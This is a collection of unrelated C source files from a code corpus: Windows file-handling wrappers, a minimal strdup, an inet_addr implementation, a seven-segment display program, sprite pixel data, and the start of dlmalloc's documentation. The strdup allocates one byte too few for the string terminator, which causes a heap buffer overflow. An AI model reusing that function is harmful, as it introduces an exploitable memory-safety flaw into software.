ov.OffsetHigh= li.HighPart; if(!WriteFile(hFile, Buffer, (DWORD)Count, &nBytesWritten, &ov)) { my_osmaperr(GetLastError()); DBUG_RETURN((size_t)-1); } else DBUG_RETURN(nBytesWritten); } my_off_t my_win_lseek(File fd, my_off_t pos, int whence) { LARGE_INTEGER offset; LARGE_INTEGER newpos; DBUG_ENTER("my_win_lseek"); /* Check compatibility of Windows and Posix seek constants */ compile_time_assert(FILE_BEGIN == SEEK_SET && FILE_CURRENT == SEEK_CUR && FILE_END == SEEK_END); offset.QuadPart= pos; if(!SetFilePointerEx(my_get_osfhandle(fd), offset, &newpos, whence)) { my_osmaperr(GetLastError()); newpos.QuadPart= -1; } DBUG_RETURN(newpos.QuadPart); } #ifndef FILE_WRITE_TO_END_OF_FILE #define FILE_WRITE_TO_END_OF_FILE 0xffffffff #endif size_t my_win_write(File fd, const uchar *Buffer, size_t Count) { DWORD nWritten; OVERLAPPED ov; OVERLAPPED *pov= NULL; HANDLE hFile; DBUG_ENTER("my_win_write"); DBUG_PRINT("my",("Filedes: %d, Buffer: %p, Count %llu", fd, Buffer, (ulonglong)Count)); if(!Count) DBUG_RETURN(0); #ifdef _WIN64 if(Count > UINT_MAX) Count= UINT_MAX; #endif if(my_get_open_flags(fd) & _O_APPEND) { /* Atomic append to the end of file is is done by special initialization of the OVERLAPPED structure. See MSDN WriteFile documentation for more info. */ memset(&ov, 0, sizeof(ov)); ov.Offset= FILE_WRITE_TO_END_OF_FILE; ov.OffsetHigh= -1; pov= &ov; } hFile= my_get_osfhandle(fd); if(!WriteFile(hFile, Buffer, (DWORD)Count, &nWritten, pov)) { my_osmaperr(GetLastError()); DBUG_RETURN((size_t)-1); } DBUG_RETURN(nWritten); } int my_win_chsize(File fd, my_off_t newlength) { HANDLE hFile; LARGE_INTEGER length; DBUG_ENTER("my_win_chsize"); hFile= (HANDLE) my_get_osfhandle(fd); length.QuadPart= newlength; if (!SetFilePointerEx(hFile, length , NULL , FILE_BEGIN)) goto err; if (!SetEndOfFile(hFile)) goto err; DBUG_RETURN(0); err: my_osmaperr(GetLastError()); set_my_errno(errno); DBUG_RETURN(-1); } /* Get the file descriptor for stdin,stdout or stderr */ static File my_get_stdfile_descriptor(FILE *stream) { HANDLE hFile; DWORD nStdHandle; DBUG_ENTER("my_get_stdfile_descriptor"); if(stream == stdin) nStdHandle= STD_INPUT_HANDLE; else if(stream == stdout) nStdHandle= STD_OUTPUT_HANDLE; else if(stream == stderr) nStdHandle= STD_ERROR_HANDLE; else DBUG_RETURN(-1); hFile= GetStdHandle(nStdHandle); if(hFile != INVALID_HANDLE_VALUE) DBUG_RETURN(my_open_osfhandle(hFile, 0)); DBUG_RETURN(-1); } File my_win_fileno(FILE *file) { HANDLE hFile= (HANDLE)_get_osfhandle(fileno(file)); int retval= -1; uint i; DBUG_ENTER("my_win_fileno"); for(i= MY_FILE_MIN; i < my_file_limit; i++) { if(my_file_info[i].fhandle == hFile) { retval= i; break; } } if(retval == -1) /* try std stream */ DBUG_RETURN(my_get_stdfile_descriptor(file)); DBUG_RETURN(retval); } FILE *my_win_fopen(const char *filename, const char *type) { FILE *file; int flags= 0; DBUG_ENTER("my_win_open"); /* If we are not creating, then we need to use my_access to make sure the file exists since Windows doesn't handle files like "com1.sym" very well */ if (check_if_legal_filename(filename)) { errno= EACCES; DBUG_RETURN(NULL); } file= fopen(filename, type); if(!file) DBUG_RETURN(NULL); if(strchr(type,'a') != NULL) flags= O_APPEND; /* Register file handle in my_table_info. Necessary for my_fileno() */ if(my_open_osfhandle((HANDLE)_get_osfhandle(fileno(file)), flags) < 0) { fclose(file); DBUG_RETURN(NULL); } DBUG_RETURN(file); } FILE * my_win_fdopen(File fd, const char *type) { FILE *file; int crt_fd; int flags= 0; DBUG_ENTER("my_win_fdopen"); if(strchr(type,'a') != NULL) flags= O_APPEND; /* Convert OS file handle to CRT file descriptor and then call fdopen*/ crt_fd= _open_osfhandle((intptr_t)my_get_osfhandle(fd), flags); if(crt_fd < 0) file= NULL; else file= fdopen(crt_fd, type); DBUG_RETURN(file); } int my_win_fclose(FILE *file) { File fd; DBUG_ENTER("my_win_close"); fd= my_fileno(file); if(fd < 0) DBUG_RETURN(-1); if(fclose(file) < 0) DBUG_RETURN(-1); invalidate_fd(fd); DBUG_RETURN(0); } /* Quick and dirty my_fstat() implementation for Windows. Use CRT fstat on temporarily allocated file descriptor. Patch file size, because size that fstat returns is not reliable (may be outdated) */ int my_win_fstat(File fd, struct _stati64 *buf) { int crt_fd; int retval; HANDLE hFile, hDup; DBUG_ENTER("my_win_fstat"); hFile= my_get_osfhandle(fd); if(!DuplicateHandle( GetCurrentProcess(), hFile, GetCurrentProcess(), &hDup ,0,FALSE,DUPLICATE_SAME_ACCESS)) { my_osmaperr(GetLastError()); DBUG_RETURN(-1); } if ((crt_fd= _open_osfhandle((intptr_t)hDup,0)) < 0) DBUG_RETURN(-1); retval= _fstati64(crt_fd, buf); if(retval == 0) { /* File size returned by stat is not accurate (may be outdated), fix it*/ GetFileSizeEx(hDup, (PLARGE_INTEGER) (&(buf->st_size))); } _close(crt_fd); DBUG_RETURN(retval); } int my_win_stat( const char *path, struct _stati64 *buf) { DBUG_ENTER("my_win_stat"); if(_stati64( path, buf) == 0) { /* File size returned by stat is not accurate (may be outdated), fix it*/ WIN32_FILE_ATTRIBUTE_DATA data; if (GetFileAttributesEx(path, GetFileExInfoStandard, &data)) { LARGE_INTEGER li; li.LowPart= data.nFileSizeLow; li.HighPart= data.nFileSizeHigh; buf->st_size= li.QuadPart; } DBUG_RETURN(0); } DBUG_RETURN(-1); } int my_win_fsync(File fd) { DBUG_ENTER("my_win_fsync"); if(FlushFileBuffers(my_get_osfhandle(fd))) DBUG_RETURN(0); my_osmaperr(GetLastError()); DBUG_RETURN(-1); } int my_win_dup(File fd) { HANDLE hDup; DBUG_ENTER("my_win_dup"); if (DuplicateHandle(GetCurrentProcess(), my_get_osfhandle(fd), GetCurrentProcess(), &hDup, 0, FALSE, DUPLICATE_SAME_ACCESS)) { DBUG_RETURN(my_open_osfhandle(hDup, my_get_open_flags(fd))); } my_osmaperr(GetLastError()); DBUG_RETURN(-1); } #endif /*_WIN32*/
the_stack_data/866000.c
#ifndef strdup_c #define strdup_c //+header string.h //+depends malloc strcpy strlen //+def char *strdup(const char *source){ char *d = malloc(strlen(source)); if ( !d ) return(0); strcpy(d,source); return(d); } #endif
the_stack_data/51699595.c
/* KallistiOS ##version## inet_addr.c Copyright (C) 2006, 2007 Lawrence Sebald */ #include <arpa/inet.h> in_addr_t inet_addr(const char *cp) { struct in_addr addr; /* inet_aton() returns 0 on failure, 1 on success */ if(inet_aton(cp, &addr)) { return addr.s_addr; } return INADDR_NONE; }
the_stack_data/165767684.c
// A program that displays digits in a seven segment format. #include <stdio.h> #include <stdlib.h> #include <ctype.h> // for is_digit #define MAX_DIGITS 10 // 1 for '_' 2 for '|' 0 for ' ' in each displayed number const int segments[10][9] = { {0, 1, 0, 2, 0, 2, 2, 1, 2}, {0, 0, 0, 0, 0, 2, 0, 0, 2}, {0, 1, 0, 0, 1, 2, 2, 1, 0}, {0, 1, 0, 0, 1, 2, 0, 1, 2}, {0, 0, 0, 2, 1, 2, 0, 0, 2}, {0, 1, 0, 2, 1, 0, 0, 1, 2}, {0, 1, 0, 2, 1, 0, 2, 1, 2}, {0, 1, 0, 0, 0, 2, 0, 0, 2}, {0, 1, 0, 2, 1, 2, 2, 1, 2}, {0, 1, 0, 2, 1, 2, 0, 1, 2}, }; char digits[4][MAX_DIGITS * 4]; void clear_digits_array(void); //stores blanks into all digits chars void process_digit(int digit, int position); // seven segment representation of digit void print_digits_array(void); // prints each digit row on a single line // Asks user for a line of braces and pushes the left braces, then pops the right ones. int main(void) { int how_many = 0, digit; char ch; clear_digits_array(); printf("Enter a number: "); ch = getchar(); while (ch != '\n' && how_many < MAX_DIGITS) { if (isdigit(ch)) { digit = ch - '0'; // converting char to digit process_digit(digit, how_many); how_many++; } ch = getchar(); } print_digits_array(); return 0; } //stores blanks into all digits chars void clear_digits_array(void) { for (int i = 0; i < 4; i++) { for (int j = 0; j < MAX_DIGITS * 4; j++) digits[i][j] = ' '; } } // will position the seven segment representation of digit into the digits array according to the position. void process_digit(int digit, int position) { int i = 0; for (int row = 0; row < 3; row++) { for (int column = position * 4; column < position * 4 + 3 && i < 9; column++) { if (segments[digit][i] == 1) { digits[row][column] = '_'; } else if (segments[digit][i] == 2) { digits[row][column] = '|'; } i++; } } } void print_digits_array(void) { for (int row = 0; row < 3; row++) { for (int column = 0; column < MAX_DIGITS * 4; column++) { printf("%c", digits[row][column]); } printf("\n"); } }
the_stack_data/107954296.c
//Sprite created using Mollusk's PASpriteConverter //This sprite uses effects_Pal const unsigned char pause_text_Sprite[2048] __attribute__ ((aligned (4))) = { 0, 0, 35, 36, 36, 36, 36, 35, 0, 35, 36, 2, 2, 2, 2, 36, 35, 36, 2, 36, 36, 36, 36, 2, 36, 2, 36, 35, 0, 0, 35, 36, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 35, 0, 0, 35, 36, 35, 36, 2, 36, 36, 36, 36, 2, 0, 0, 0, 0, 0, 0, 0, 0, 35, 0, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0, 35, 35, 36, 36, 36, 35, 35, 36, 35, 36, 2, 2, 2, 36, 36, 2, 36, 2, 36, 36, 36, 2, 36, 2, 36, 2, 36, 0, 36, 2, 36, 2, 36, 2, 36, 36, 36, 2, 36, 2, 0, 0, 0, 0, 0, 0, 0, 35, 0, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 35, 36, 35, 35, 36, 36, 35, 35, 36, 2, 36, 36, 2, 2, 36, 36, 2, 2, 2, 2, 36, 36, 2, 36, 36, 2, 36, 36, 35, 36, 2, 36, 36, 2, 36, 36, 0, 36, 2, 36, 36, 2, 36, 36, 35, 0, 0, 0, 0, 0, 0, 2, 36, 0, 0, 0, 0, 0, 0, 36, 35, 0, 0, 0, 0, 0, 0, 36, 35, 36, 35, 36, 36, 35, 35, 2, 36, 2, 36, 2, 2, 36, 36, 2, 36, 2, 2, 36, 36, 2, 36, 2, 36, 2, 36, 35, 36, 2, 36, 2, 36, 2, 36, 0, 36, 2, 36, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, 35, 0, 35, 36, 35, 35, 36, 2, 36, 0, 36, 2, 36, 36, 2, 2, 36, 0, 36, 2, 36, 2, 36, 2, 36, 0, 36, 2, 36, 2, 2, 2, 36, 36, 36, 2, 36, 2, 36, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, 36, 35, 0, 0, 0, 0, 0, 2, 2, 36, 35, 0, 0, 0, 0, 36, 36, 2, 36, 0, 0, 0, 0, 2, 2, 2, 36, 0, 0, 0, 0, 36, 36, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 2, 2, 2, 2, 36, 0, 0, 35, 36, 36, 36, 36, 35, 0, 35, 36, 36, 36, 36, 35, 0, 35, 36, 2, 2, 2, 2, 36, 35, 36, 2, 36, 36, 36, 36, 2, 36, 36, 2, 36, 35, 0, 35, 36, 35, 36, 2, 2, 36, 36, 36, 35, 35, 35, 36, 2, 2, 2, 2, 36, 36, 35, 36, 2, 2, 2, 36, 36, 2, 0, 35, 36, 36, 36, 35, 35, 36, 0, 0, 0, 0, 0, 35, 36, 35, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 35, 36, 36, 36, 35, 36, 2, 36, 36, 2, 2, 2, 36, 36, 2, 36, 2, 36, 36, 36, 2, 36, 2, 36, 36, 0, 36, 2, 36, 36, 2, 2, 35, 0, 35, 36, 35, 35, 36, 36, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 36, 36, 35, 0, 35, 36, 36, 2, 2, 2, 36, 35, 36, 2, 2, 36, 36, 36, 2, 36, 2, 36, 2, 36, 2, 36, 0, 36, 2, 36, 36, 35, 36, 35, 0, 35, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 35, 0, 0, 36, 35, 35, 36, 2, 36, 35, 0, 2, 36, 36, 2, 2, 2, 36, 0, 36, 2, 36, 36, 2, 36, 35, 0, 36, 2, 2, 2, 2, 36, 36, 2, 35, 36, 36, 36, 36, 35, 35, 36, 0, 0, 0, 0, 0, 35, 36, 35, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 2, 2, 2, 36, 0, 0, 0, 0, 36, 36, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 36, 36, 35, 35, 36, 35, 36, 2, 2, 2, 36, 36, 2, 36, 2, 36, 36, 36, 2, 36, 36, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 35, 36, 36, 36, 35, 35, 36, 2, 36, 2, 2, 2, 36, 36, 2, 36, 2, 36, 36, 36, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 35, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 35, 36, 36, 36, 36, 36, 2, 36, 36, 2, 36, 36, 36, 36, 2, 36, 35, 36, 2, 2, 2, 2, 36, 35, 0, 35, 36, 36, 36, 36, 35, 0, 0, 0, 35, 36, 36, 36, 35, 0, 0, 35, 36, 2, 2, 2, 36, 35, 35, 36, 2, 36, 36, 36, 2, 36, 36, 2, 36, 35, 0, 35, 36, 2, 2, 2, 2, 2, 2, 36, 2, 36, 2, 36, 36, 36, 36, 36, 2, 36, 36, 2, 2, 2, 2, 36, 2, 36, 35, 36, 36, 36, 36, 35, 36, 35, 0, 0, 0, 0, 0, 0, 35, 36, 0, 0, 0, 0, 0, 0, 36, 2, 35, 0, 0, 0, 0, 0, 35, 36, 36, 36, 35, 0, 35, 36, 35, 36, 2, 2, 2, 2, 2, 36, 2, 36, 2, 36, 36, 36, 36, 36, 2, 36, 36, 2, 2, 2, 2, 36, 36, 2, 35, 36, 36, 36, 36, 35, 35, 36, 35, 0, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0, 35, 35, 36, 35, 0, 0, 0, 0, 35, 36, 2, 36, 35, 0, 0, 0, 35, 36, 35, 36, 2, 36, 0, 0, 36, 2, 36, 36, 2, 36, 35, 0, 2, 36, 35, 36, 2, 2, 36, 0, 36, 35, 0, 35, 36, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 36, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 35, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, 35, 35, 36, 36, 36, 35, 0, 2, 2, 2, 2, 2, 36, 36, 2, 2, 36, 36, 36, 36, 35, 36, 2, 36, 2, 2, 2, 2, 36, 35, 36, 35, 36, 36, 36, 36, 35, 0, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 36, 36, 35, 36, 36, 35, 36, 2, 36, 2, 2, 2, 2, 2, 2, 2, 36, 2, 36, 36, 36, 36, 2, 36, 35, 36, 2, 2, 2, 2, 36, 35, 0, 35, 36, 36, 36, 36, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 36, 36, 35, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 0, 0, 35, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, 2, 36, 0, 0, 0, 36, 2, 36, 2, 36, 0, 35, 36, 36, 2, 36, 2, 36, 35, 36, 2, 36, 2, 35, 36, 2, 36, 36, 2, 2, 36, 0, 35, 36, 2, 2, 2, 2, 36, 0, 0, 35, 36, 36, 36, 36, 2, 0, 0, 0, 0, 0, 0, 35, 36, 0, 0, 0, 0, 0, 0, 0, 0, 36, 2, 36, 0, 36, 2, 36, 2, 36, 2, 36, 0, 36, 2, 36, 2, 36, 2, 36, 0, 36, 2, 36, 2, 36, 2, 36, 36, 36, 2, 36, 2, 35, 36, 2, 2, 2, 2, 36, 2, 36, 35, 36, 36, 36, 36, 35, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, 2, 2, 2, 36, 0, 0, 0, 36, 36, 2, 36, 35, 0, 0, 0, 36, 36, 2, 36, 0, 0, 0, 0, 36, 36, 2, 36, 35, 0, 0, 0, 36, 36, 2, 2, 36, 0, 0, 0, 35, 35, 36, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 2, 2, 2, 0, 0, 0, 36, 2, 36, 36, 36, 0, 0, 0, 36, 2, 36, 0, 36, 0, 0, 0, 36, 2, 36, 36, 36, 0, 0, 0, 35, 36, 2, 2, 2, 0, 0, 0, 36, 2, 36, 36, 36, 0, 0, 0, 35, 36, 2, 2, 2, 0, 0, 0, 0, 35, 36, 36, 36, 2, 36, 36, 2, 2, 2, 36, 35, 2, 36, 2, 36, 36, 36, 2, 36, 2, 36, 36, 2, 2, 2, 2, 36, 2, 36, 2, 36, 36, 36, 2, 36, 2, 36, 36, 2, 2, 2, 2, 36, 2, 36, 35, 36, 36, 36, 36, 35, 36, 35, 0, 0, 0, 0, 0, 0, 35, 0, 0, 0, 0, 0, 0, 0, 36, 2, 2, 2, 36, 2, 2, 36, 36, 2, 36, 36, 2, 36, 36, 2, 36, 2, 36, 36, 2, 36, 36, 2, 36, 2, 36, 36, 2, 36, 36, 2, 36, 2, 36, 36, 2, 36, 36, 2, 35, 36, 35, 35, 36, 35, 35, 36, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 36, 2, 2, 2, 36, 35, 0, 36, 2, 36, 36, 36, 2, 36, 0, 36, 2, 2, 2, 2, 2, 36, 0, 36, 2, 36, 36, 36, 36, 35, 0, 36, 36, 2, 2, 2, 2, 36, 0, 35, 35, 36, 36, 36, 36, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
the_stack_data/84167.c
/* This is a version (aka dlmalloc) of malloc/free/realloc written by Doug Lea and released to the public domain, as explained at http://creativecommons.org/publicdomain/zero/1.0/ Send questions, comments, complaints, performance data, etc to [email protected] * Version 2.8.6 Wed Aug 29 06:57:58 2012 Doug Lea Note: There may be an updated version of this malloc obtainable at ftp://gee.cs.oswego.edu/pub/misc/malloc.c Check before installing! * Quickstart This library is all in one file to simplify the most common usage: ftp it, compile it (-O3), and link it into another program. All of the compile-time options default to reasonable values for use on most platforms. You might later want to step through various compile-time and dynamic tuning options. For convenience, an include file for code using this malloc is at: ftp://gee.cs.oswego.edu/pub/misc/malloc-2.8.6.h You don't really need this .h file unless you call functions not defined in your system include files. The .h file contains only the excerpts from this file needed for using this malloc on ANSI C/C++ systems, so long as you haven't changed compile-time options about naming and tuning parameters. If you do, then you can create your own malloc.h that does include all settings by cutting at the point indicated below. Note that you may already by default be using a C library containing a malloc that is based on some version of this malloc (for example in linux). You might still want to use the one in this file to customize settings or to avoid overheads associated with library versions. * Vital statistics: Supported pointer/size_t representation: 4 or 8 bytes size_t MUST be an unsigned type of the same width as pointers. (If you are using an ancient system that declares size_t as a signed type, or need it to be a different width than pointers, you can use a previous release of this malloc (e.g. 2.7.2) supporting these.) Alignment: 8 bytes (minimum) This suffices for nearly all current machines and C compilers. However, you can define MALLOC_ALIGNMENT to be wider than this if necessary (up to 128bytes), at the expense of using more space. Minimum overhead per allocated chunk: 4 or 8 bytes (if 4byte sizes) 8 or 16 bytes (if 8byte sizes) Each malloced chunk has a hidden word of overhead holding size and status information, and additional cross-check word if FOOTERS is defined. Minimum allocated size: 4-byte ptrs: 16 bytes (including overhead) 8-byte ptrs: 32 bytes (including overhead) Even a request for zero bytes (i.e., malloc(0)) returns a pointer to something of the minimum allocatable size. The maximum overhead wastage (i.e., number of extra bytes allocated than were requested in malloc) is less than or equal to the minimum size, except for requests >= mmap_threshold that are serviced via mmap(), where the worst case wastage is about 32 bytes plus the remainder from a system page (the minimal mmap unit); typically 4096 or 8192 bytes. Security: static-safe; optionally more or less The "security" of malloc refers to the ability of malicious code to accentuate the effects of errors (for example, freeing space that is not currently malloc'ed or overwriting past the ends of chunks) in code that calls malloc. This malloc guarantees not to modify any memory locations below the base of heap, i.e., static variables, even in the presence of usage errors. The routines additionally detect most improper frees and reallocs. All this holds as long as the static bookkeeping for malloc itself is not corrupted by some other means. This is only one aspect of security -- these checks do not, and cannot, detect all possible programming errors. If FOOTERS is defined nonzero, then each allocated chunk carries an additional check word to verify that it was malloced from its space. These check words are the same within each execution of a program using malloc, but differ across executions, so externally crafted fake chunks cannot be freed. This improves security by rejecting frees/reallocs that could corrupt heap memory, in addition to the checks preventing writes to statics that are always on. This may further improve security at the expense of time and space overhead. (Note that FOOTERS may also be worth using with MSPACES.) By default detected errors cause the program to abort (calling "abort()"). You can override this to instead proceed past errors by defining PROCEED_ON_ERROR. In this case, a bad free has no effect, and a malloc that encounters a bad address caused by user overwrites will ignore the bad address by dropping pointers and indices to all known memory. This may be appropriate for programs that should continue if at all possible in the face of programming errors, although they may run out of memory because dropped memory is never reclaimed. If you don't like either of these options, you can define CORRUPTION_ERROR_ACTION and USAGE_ERROR_ACTION to do anything else. And if if you are sure that your program using malloc has no errors or vulnerabilities, you can define INSECURE to 1, which might (or might not) provide a small performance improvement. It is also possible to limit the maximum total allocatable space, using malloc_set_footprint_limit. This is not designed as a security feature in itself (calls to set limits are not screened or privileged), but may be useful as one aspect of a secure implementation. Thread-safety: NOT thread-safe unless USE_LOCKS defined non-zero When USE_LOCKS is defined, each public call to malloc, free, etc is surrounded with a lock. By default, this uses a plain pthread mutex, win32 critical section, or a spin-lock if if available for the platform and not disabled by setting USE_SPIN_LOCKS=0. However, if USE_RECURSIVE_LOCKS is defined, recursive versions are used instead (which are not required for base functionality but may be needed in layered extensions). Using a global lock is not especially fast, and can be a major bottleneck. It is designed only to provide minimal protection in concurrent environments, and to provide a basis for extensions. If you are using malloc in a concurrent program, consider instead using nedmalloc (http://www.nedprod.com/programs/portable/nedmalloc/) or ptmalloc (See http://www.malloc.de), which are derived from versions of this malloc. System requirements: Any combination of MORECORE and/or MMAP/MUNMAP This malloc can use unix sbrk or any emulation (invoked using the CALL_MORECORE macro) and/or mmap/munmap or any emulation (invoked using CALL_MMAP/CALL_MUNMAP) to get and release system memory. On most unix systems, it tends to work best if both MORECORE and MMAP are enabled. On Win32, it uses emulations based on VirtualAlloc. It also uses common C library functions like memset. Compliance: I believe it is compliant with the Single Unix Specification (See http://www.unix.org). Also SVID/XPG, ANSI C, and probably others as well. * Overview of algorithms This is not the fastest, most space-conserving, most portable, or most tunable malloc ever written. However it is among the fastest while also being among the most space-conserving, portable and tunable. Consistent balance across these factors results in a good general-purpose allocator for malloc-intensive programs. In most ways, this malloc is a best-fit allocator. Generally, it chooses the best-fitting existing chunk for a request, with ties broken in approximately least-recently-used order. (This strategy normally maintains low fragmentation.) However, for requests less than 256bytes, it deviates from best-fit when there is not an exactly fitting available chunk by preferring to use space adjacent to that used for the previous small request, as well as by breaking ties in approximately most-recently-used order. (These enhance locality of series of small allocations.) And for very large requests (>= 256Kb by default), it relies on system memory mapping facilities, if supported. (This helps avoid carrying around and possibly fragmenting memory used only for large chunks.) All operations (except malloc_stats and mallinfo) have execution times that are bounded by a constant factor of the number of bits in a size_t, not counting any clearing in calloc or copying in realloc, or actions surrounding MORECORE and MMAP that have times proportional to the number of non-contiguous regions returned by system allocation routines, which is often just 1. In real-time applications, you can optionally suppress segment traversals using NO_SEGMENT_TRAVERSAL, which assures bounded execution even when system allocators return non-contiguous spaces, at the typical expense of carrying around more memory and increased fragmentation. The implementation is not very modular and seriously overuses macros. Perhaps someday all C compilers will do as good a job inlining modular code as can now be done by brute-force expansion, but now, enough of them seem not to. Some compilers issue a lot of warnings about code that is dead/unreachable only on some platforms, and also about intentional uses of negation on unsigned types. All known cases of each can be ignored. For a longer but out of date high-level description, see http://gee.cs.oswego.edu/dl/html/malloc.html * MSPACES If MSPACES is defined, then in addition to malloc, free, etc., this file also defines mspace_malloc, mspace_free, etc. These are versions of malloc routines that take an "mspace" argument obtained using create_mspace, to control all internal bookkeeping. If ONLY_MSPACES is defined, only these versions are compiled. So if you would like to use this allocator for only some allocations, and your system malloc for others, you can compile with ONLY_MSPACES and then do something like... static mspace mymspace = create_mspace(0,0); // for example #define mymalloc(bytes) mspace_malloc(mymspace, bytes) (Note: If you only need one instance of an mspace, you can instead use "USE_DL_PREFIX" to relabel the global malloc.) You can similarly create thread-local allocators by storing mspaces as thread-locals. For example: static __thread mspace tlms = 0; void* tlmalloc(size_t bytes) { if (tlms == 0) tlms = create_mspace(0, 0); return mspace_malloc(tlms, bytes); } void tlfree(void* mem) { mspace_free(tlms, mem); } Unless FOOTERS is defined, each mspace is completely independent. You cannot allocate from one and free to another (although conformance is only weakly checked, so usage errors are not always caught). If FOOTERS is defined, then each chunk carries around a tag indicating its originating mspace, and frees are directed to their originating spaces. Normally, this requires use of locks. ------------------------- Compile-time options --------------------------- Be careful in setting #define values for numerical constants of type size_t. On some systems, literal values are not automatically extended to size_t precision unless they are explicitly casted. You can also use the symbolic values MAX_SIZE_T, SIZE_T_ONE, etc below. WIN32 default: defined if _WIN32 defined Defining WIN32 sets up defaults for MS environment and compilers. Otherwise defaults are for unix. Beware that there seem to be some cases where this malloc might not be a pure drop-in replacement for Win32 malloc: Random-looking failures from Win32 GDI API's (eg; SetDIBits()) may be due to bugs in some video driver implementations when pixel buffers are malloc()ed, and the region spans more than one VirtualAlloc()ed region. Because dlmalloc uses a small (64Kb) default granularity, pixel buffers may straddle virtual allocation regions more often than when using the Microsoft allocator. You can avoid this by using VirtualAlloc() and VirtualFree() for all pixel buffers rather than using malloc(). If this is not possible, recompile this malloc with a larger DEFAULT_GRANULARITY. Note: in cases where MSC and gcc (cygwin) are known to differ on WIN32, conditions use _MSC_VER to distinguish them. DLMALLOC_EXPORT default: extern Defines how public APIs are declared. If you want to export via a Windows DLL, you might define this as #define DLMALLOC_EXPORT extern __declspec(dllexport) If you want a POSIX ELF shared object, you might use #define DLMALLOC_EXPORT extern __attribute__((visibility("default"))) MALLOC_ALIGNMENT default: (size_t)(2 * sizeof(void *)) Controls the minimum alignment for malloc'ed chunks. It must be a power of two and at least 8, even on machines for which smaller alignments would suffice. It may be defined as larger than this though. Note however that code and data structures are optimized for the case of 8-byte alignment. MSPACES default: 0 (false) If true, compile in support for independent allocation spaces. This is only supported if HAVE_MMAP is true. ONLY_MSPACES default: 0 (false) If true, only compile in mspace versions, not regular versions. USE_LOCKS default: 0 (false) Causes each call to each public routine to be surrounded with pthread or WIN32 mutex 